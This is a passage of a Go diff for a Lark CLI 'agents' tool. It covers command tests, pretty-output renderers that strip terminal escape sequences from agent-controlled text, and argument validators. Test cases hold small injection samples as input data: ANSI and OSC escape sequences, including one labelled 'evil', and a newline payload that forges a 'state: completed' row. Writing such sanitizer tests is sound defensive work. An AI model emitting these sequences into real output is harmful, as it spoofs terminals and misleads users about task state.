if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
|
||||
t.Errorf("pretty output should contain context_id and title, got %q", s)
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, `"ok"`) {
|
||||
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
|
||||
// filtered through the jq expression.
|
||||
func TestContextGetWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Cmd.Flags().String("jq", "", "")
|
||||
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
|
||||
return &iagents.ContextDetail{ContextID: ctxID}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetPretty pins the --format pretty branch on context get: key:
|
||||
// value lines with the task_count / awaiting_input rollup + a one-line
|
||||
// active_task digest, title ANSI-stripped, and no full tasks[] list.
|
||||
func TestContextGetPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
|
||||
return &iagents.ContextDetail{
|
||||
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
|
||||
TaskCount: iagents.Int(1), AwaitingInput: false,
|
||||
ActiveTask: &iagents.TaskSummary{
|
||||
TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true, Summary: "分析完成",
|
||||
},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
|
||||
if !strings.Contains(s, want) {
|
||||
t.Errorf("pretty output should contain %q, got %q", want, s)
|
||||
}
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, "tasks:") {
|
||||
t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
|
||||
func findSub(cmd *cobra.Command, name string) *cobra.Command {
|
||||
for _, c := range cmd.Commands() {
|
||||
if c.Name() == name {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
|
||||
// RunE) with list/get/delete leaves.
|
||||
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
|
||||
cmd := NewCmdAgentContext(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agents context group should not have RunE")
|
||||
}
|
||||
want := []string{"list", "get", "delete"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand context %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
|
||||
// the default flip: --format defaults to json.
|
||||
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("context list with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil || fl.DefValue != "json" {
|
||||
t.Errorf("context list --format default should flip to json, got %+v", fl)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
|
||||
// the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextGet(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
|
||||
t.Errorf("context get ref+ctx-id should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context get should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
|
||||
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
|
||||
cmd := NewCmdAgentContextDelete(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
|
||||
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if cmd.Flags().Lookup("yes") == nil {
|
||||
t.Error("context delete should have a --yes flag")
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context delete should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
272
cmd/agents/format.go
Normal file
272
cmd/agents/format.go
Normal file
@@ -0,0 +1,272 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file holds the --format surface shared by every agent leaf: value
|
||||
// validation, the pretty renderers (task key:value view, list
|
||||
// header-TSV views) with ANSI stripping for agent-controlled text, and the
|
||||
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
|
||||
// validation error carrying a 用法 hint.
|
||||
package agents
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
)
|
||||
|
||||
// formatFlagHelp is the uniform --format help text across every agent leaf
|
||||
// (json is the tree-wide default, pretty the human opt-in).
|
||||
const formatFlagHelp = "output format: json (default) | pretty"
|
||||
|
||||
// validateFormat rejects any --format outside json|pretty as a
|
||||
// validation/invalid_argument error (exit 2). The empty string is accepted for
|
||||
// options structs built directly in tests; the registered flag default is
|
||||
// "json" so a CLI invocation never passes "".
|
||||
func validateFormat(format string) error {
|
||||
switch format {
|
||||
case "", "json", "pretty":
|
||||
return nil
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"不支持的 --format 值 %q", format).
|
||||
WithParam("--format").
|
||||
WithHint("合法值: json | pretty")
|
||||
}
|
||||
|
||||
// stripANSI sanitizes agent-controlled text before it is written raw to a
|
||||
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
|
||||
// It delegates to validate.SanitizeForTerminal, which is a superset of the
|
||||
// mandated CSI regex:
|
||||
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
|
||||
// Unicode. JSON output paths must NOT use this — programmatic consumers get
|
||||
// the raw data.
|
||||
func stripANSI(s string) string {
|
||||
return validate.SanitizeForTerminal(s)
|
||||
}
|
||||
|
||||
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
|
||||
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
|
||||
// SanitizeForTerminal deliberately preserves those, so without this a value
|
||||
// like "done\nstate: completed" would forge an adjacent field row. TSV
|
||||
// renderers keep plain stripANSI under their documented no-escape exemption.
|
||||
func kvValue(s string) string {
|
||||
s = stripANSI(s)
|
||||
s = strings.ReplaceAll(s, "\n", " ")
|
||||
return strings.ReplaceAll(s, "\t", " ")
|
||||
}
|
||||
|
||||
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
// firstTextOf returns the first text Part carried by the task's messages
|
||||
// (typically the caller's request), or "".
|
||||
func firstTextOf(task *iagents.AgentTask) string {
|
||||
for _, m := range task.Messages {
|
||||
for _, p := range m.Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return p.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// lastAgentTextOf returns the last agent-authored text Part — the task's
|
||||
// current RESULT line, the same word the task-list SUMMARY column uses. The
|
||||
// single-task pretty view must show the outcome, not just echo the request.
|
||||
func lastAgentTextOf(task *iagents.AgentTask) string {
|
||||
for i := len(task.Messages) - 1; i >= 0; i-- {
|
||||
if task.Messages[i].Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, p := range task.Messages[i].Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return p.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// printTaskPretty renders the task-class pretty view: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count. Every agent-controlled string goes through
|
||||
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
|
||||
// terminal sequences nor forge an adjacent field row.
|
||||
func printTaskPretty(w io.Writer, task *iagents.AgentTask) {
|
||||
if task == nil {
|
||||
fmt.Fprintln(w, "(no task)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
|
||||
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
|
||||
if task.ContextID != "" {
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
|
||||
}
|
||||
if req := firstTextOf(task); req != "" {
|
||||
fmt.Fprintf(w, "request: %s\n", truncateRunes(kvValue(req), 120))
|
||||
}
|
||||
if reply := lastAgentTextOf(task); reply != "" {
|
||||
fmt.Fprintf(w, "reply: %s\n", truncateRunes(kvValue(reply), 120))
|
||||
}
|
||||
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
|
||||
// input_required question group: group headline, then numbered questions
|
||||
// with their answer form and options. Every field is agent-controlled, so
|
||||
// all go through kvValue.
|
||||
if ir := task.InputRequired; ir != nil {
|
||||
head := ir.Label
|
||||
if head != "" && ir.Description != "" {
|
||||
head += " — " + ir.Description
|
||||
} else if head == "" {
|
||||
head = ir.Description
|
||||
}
|
||||
if head == "" && len(ir.Questions) == 1 {
|
||||
// single untitled question: headline IS the question, no numbering.
|
||||
q := ir.Questions[0]
|
||||
fmt.Fprintf(w, "input_required: %s%s\n", truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
|
||||
printOptionsPretty(w, " ", q.Options)
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "input_required: %s\n", truncateRunes(kvValue(head), 120))
|
||||
for i, q := range ir.Questions {
|
||||
fmt.Fprintf(w, " [%d] %s%s\n", i+1, truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
|
||||
printOptionsPretty(w, " ", q.Options)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// questionKindSuffix annotates a question row with its answer form: free text
|
||||
// or multi-select (a plain single-select needs no annotation — options below it
|
||||
// say enough).
|
||||
func questionKindSuffix(q iagents.Question) string {
|
||||
if len(q.Options) == 0 {
|
||||
return "(自由文本)"
|
||||
}
|
||||
if q.MultiSelect {
|
||||
return "(可多选)"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// printOptionsPretty renders one "id: label — description" row per option under
|
||||
// the given indent; every field is agent-controlled and goes through kvValue.
|
||||
func printOptionsPretty(w io.Writer, indent string, opts []iagents.Option) {
|
||||
for _, o := range opts {
|
||||
row := fmt.Sprintf("%s: %s", kvValue(o.OptionID), kvValue(o.Label))
|
||||
if o.Description != "" {
|
||||
row += " — " + kvValue(o.Description)
|
||||
}
|
||||
fmt.Fprintf(w, "%s%s\n", indent, row)
|
||||
}
|
||||
}
|
||||
|
||||
// TSV renderers below intentionally do not escape tab/newline in cell values:
|
||||
// a value containing them breaks the column layout. The agent's primary
|
||||
// consumption surface is json; pretty is for human inspection only, so leaving
|
||||
// them unescaped is acceptable.
|
||||
|
||||
// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
|
||||
// row naming the json fields, then one row per task. Summary is agent-controlled
|
||||
// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
|
||||
// unflattened tab/newline would otherwise break the column layout; the ids keep
|
||||
// plain stripANSI under the TSV no-escape exemption.
|
||||
func printTaskSummariesTSV(w io.Writer, tasks []iagents.TaskSummary) {
|
||||
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
|
||||
for _, t := range tasks {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
|
||||
stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
|
||||
}
|
||||
}
|
||||
|
||||
// printContextsTSV renders the list-class pretty view for contexts. The Title is
|
||||
// agent-controlled and ANSI-stripped; AwaitingInput is the conversation-layer
|
||||
// rollup used to spot which session needs attention.
|
||||
func printContextsTSV(w io.Writer, contexts []iagents.ContextSummary) {
|
||||
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n")
|
||||
for _, c := range contexts {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%t\n",
|
||||
stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.AwaitingInput)
|
||||
}
|
||||
}
|
||||
|
||||
// printContextDetailPretty renders `context get --format pretty` as a
|
||||
// conversation overview: metadata + the task_count / awaiting_input rollup, and
|
||||
// — when present — a one-line digest of the active task
|
||||
// (state · updated_at · summary). It deliberately does NOT expand the full task
|
||||
// list (that is `agents task list --context-id`). Agent-controlled strings (Title
|
||||
// and the active-task Summary) go through kvValue so they cannot forge adjacent
|
||||
// field rows.
|
||||
func printContextDetailPretty(w io.Writer, detail *iagents.ContextDetail) {
|
||||
if detail == nil {
|
||||
fmt.Fprintln(w, "(no context)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
|
||||
if detail.CreatedAt != "" {
|
||||
fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
|
||||
}
|
||||
if detail.UpdatedAt != "" {
|
||||
fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
|
||||
}
|
||||
if detail.Title != "" {
|
||||
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
|
||||
}
|
||||
// nil TaskCount = the provider cannot supply the count; omit the line
|
||||
// rather than printing a misleading 0.
|
||||
if detail.TaskCount != nil {
|
||||
fmt.Fprintf(w, "task_count: %d\n", *detail.TaskCount)
|
||||
}
|
||||
fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
|
||||
if at := detail.ActiveTask; at != nil {
|
||||
fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
|
||||
}
|
||||
}
|
||||
|
||||
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
|
||||
// the executing command's Use line, so the hint never drifts from the
|
||||
// registered Use string.
|
||||
func usageHintOf(cmd *cobra.Command) string {
|
||||
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
|
||||
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
|
||||
}
|
||||
return "用法: " + cmd.CommandPath()
|
||||
}
|
||||
|
||||
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
|
||||
// (exit 2) whose hint carries the full usage string — cobra's bare English
|
||||
// "accepts 2 arg(s), received 1" never says WHAT is missing.
|
||||
func exactArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) != n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
|
||||
// exactArgsWithUsage, for leaves with an optional positional (agents list).
|
||||
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) > n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
450
cmd/agents/format_test.go
Normal file
450
cmd/agents/format_test.go
Normal file
@@ -0,0 +1,450 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// TestPrintTaskPrettyRendersQuestionGroup pins that printTaskPretty surfaces an
|
||||
// input_required question group: group headline (label — description), numbered
|
||||
// questions with their answer-form annotation (自由文本 / 可多选), and
|
||||
// id: label — description option rows — with all agent-controlled fields
|
||||
// ANSI-stripped.
|
||||
func TestPrintTaskPrettyRendersQuestionGroup(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, &iagents.AgentTask{
|
||||
TaskID: "task_1", State: iagents.StateInputRequired,
|
||||
InputRequired: &iagents.InputRequired{
|
||||
Label: "报表生成确认",
|
||||
Description: "生成前需确认\x1b[2J口径",
|
||||
Questions: []iagents.Question{
|
||||
{QuestionID: "q1_a8", Question: "按什么维度拆分?", Options: []iagents.Option{
|
||||
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
|
||||
{OptionID: "by_category", Label: "按品类"},
|
||||
}},
|
||||
{QuestionID: "q2_a8", Question: "时间范围?"},
|
||||
{QuestionID: "q3_a8", Question: "包含哪些区域?", MultiSelect: true, Options: []iagents.Option{
|
||||
{OptionID: "east", Label: "华东"},
|
||||
}},
|
||||
},
|
||||
},
|
||||
})
|
||||
text := out.String()
|
||||
for _, want := range []string{
|
||||
"input_required: 报表生成确认 — 生成前需确认",
|
||||
"[1] 按什么维度拆分?",
|
||||
"by_region: 按大区 — 华东/华北/华南汇总",
|
||||
"by_category: 按品类",
|
||||
"[2] 时间范围?(自由文本)",
|
||||
"[3] 包含哪些区域?(可多选)",
|
||||
"east: 华东",
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty task should render question-group part %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI in group text must be stripped, got %q", text)
|
||||
}
|
||||
|
||||
// A single untitled question renders as the headline itself — no numbering.
|
||||
out.Reset()
|
||||
printTaskPretty(out, &iagents.AgentTask{
|
||||
TaskID: "task_2", State: iagents.StateInputRequired,
|
||||
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
|
||||
{QuestionID: "q1_b2", Question: "请补充时间范围"},
|
||||
}},
|
||||
})
|
||||
single := out.String()
|
||||
if !strings.Contains(single, "input_required: 请补充时间范围(自由文本)") {
|
||||
t.Errorf("single untitled question should be the headline, got:\n%s", single)
|
||||
}
|
||||
if strings.Contains(single, "[1]") {
|
||||
t.Errorf("single question must not be numbered, got:\n%s", single)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
|
||||
// only occurs when options structs are built directly in tests) pass.
|
||||
func TestValidateFormat_Valid(t *testing.T) {
|
||||
for _, f := range []string{"", "json", "pretty"} {
|
||||
if err := validateFormat(f); err != nil {
|
||||
t.Errorf("format %q should be valid: %v", f, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
|
||||
// validation/invalid_argument error (exit 2) whose hint lists the legal values
|
||||
// and whose param names the flag with the -- prefix.
|
||||
func TestValidateFormat_Invalid(t *testing.T) {
|
||||
err := validateFormat("yaml")
|
||||
if err == nil {
|
||||
t.Fatal("--format yaml should error (currently silently treated as json)")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
if !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--format" {
|
||||
t.Errorf("param should be --format, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// agentRootTree builds `lark-cli agents ...` as production wires it (root Use
|
||||
// lark-cli), with a nil Factory: format validation must fire at the RunE
|
||||
// entry, before any Factory access.
|
||||
func agentRootTree() *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
|
||||
root.AddCommand(NewCmdAgents(nil))
|
||||
return root
|
||||
}
|
||||
|
||||
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
|
||||
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
|
||||
// hint, uniformly, before any provider/Factory is touched.
|
||||
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
|
||||
leaves := [][]string{
|
||||
{"agents", "list", "--format", "yaml"},
|
||||
{"agents", "card", "example:x", "--format", "yaml"},
|
||||
{"agents", "send", "example:x", "--text", "hi", "--format", "yaml"},
|
||||
{"agents", "task", "get", "example:x", "t1", "--format", "yaml"},
|
||||
{"agents", "task", "list", "example:x", "--format", "yaml"},
|
||||
{"agents", "task", "cancel", "example:x", "t1", "--format", "yaml"},
|
||||
{"agents", "context", "list", "example:x", "--format", "yaml"},
|
||||
{"agents", "context", "get", "example:x", "c1", "--format", "yaml"},
|
||||
{"agents", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
|
||||
}
|
||||
for _, argv := range leaves {
|
||||
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs(argv)
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("%v should report a --format validation error", argv)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T: %v", err, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should contain json | pretty, got %+v", p)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHelpTextUniform pins the mandated uniform help text
|
||||
// "output format: json (default) | pretty" across every leaf that has --format.
|
||||
func TestFormatHelpTextUniform(t *testing.T) {
|
||||
cmds := map[string]*cobra.Command{
|
||||
"list": NewCmdAgentList(nil),
|
||||
"card": NewCmdAgentCard(nil),
|
||||
"send": NewCmdAgentSend(nil, nil),
|
||||
"task get": NewCmdAgentTaskGet(nil),
|
||||
"task list": NewCmdAgentTaskList(nil),
|
||||
"task cancel": NewCmdAgentTaskCancel(nil),
|
||||
"context list": NewCmdAgentContextList(nil),
|
||||
"context get": NewCmdAgentContextGet(nil),
|
||||
"context delete": NewCmdAgentContextDelete(nil),
|
||||
}
|
||||
for name, cmd := range cmds {
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Errorf("%s should have a --format flag", name)
|
||||
continue
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
|
||||
}
|
||||
if fl.Usage != "output format: json (default) | pretty" {
|
||||
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
|
||||
// all removed before agent text reaches a terminal.
|
||||
func TestStripANSI(t *testing.T) {
|
||||
for _, tt := range []struct{ in, want string }{
|
||||
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
|
||||
{"a\x1bb", "ab"}, // bare ESC
|
||||
{"t\x1b]0;evil\x07x", "tx"},
|
||||
{"clean 文本", "clean 文本"},
|
||||
} {
|
||||
if got := stripANSI(tt.in); got != tt.want {
|
||||
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count — and the agent-controlled text stripped of
|
||||
// ANSI escapes.
|
||||
func TestPrintTaskPretty(t *testing.T) {
|
||||
long := strings.Repeat("字", 130)
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: "sess_1",
|
||||
State: iagents.StateCompleted,
|
||||
Messages: []iagents.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagents.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
|
||||
}},
|
||||
Artifacts: []iagents.Artifact{{ID: "a1"}, {ID: "a2"}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
|
||||
}
|
||||
if strings.Contains(text, long) {
|
||||
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
|
||||
}
|
||||
if !strings.Contains(text, strings.Repeat("字", 120)) {
|
||||
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
|
||||
// fix: agent text containing newlines must not be able to fake an adjacent
|
||||
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
|
||||
// to spaces, so exactly one state: line exists.
|
||||
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
State: iagents.StateFailed,
|
||||
Messages: []iagents.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagents.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
|
||||
}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
|
||||
var stateLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
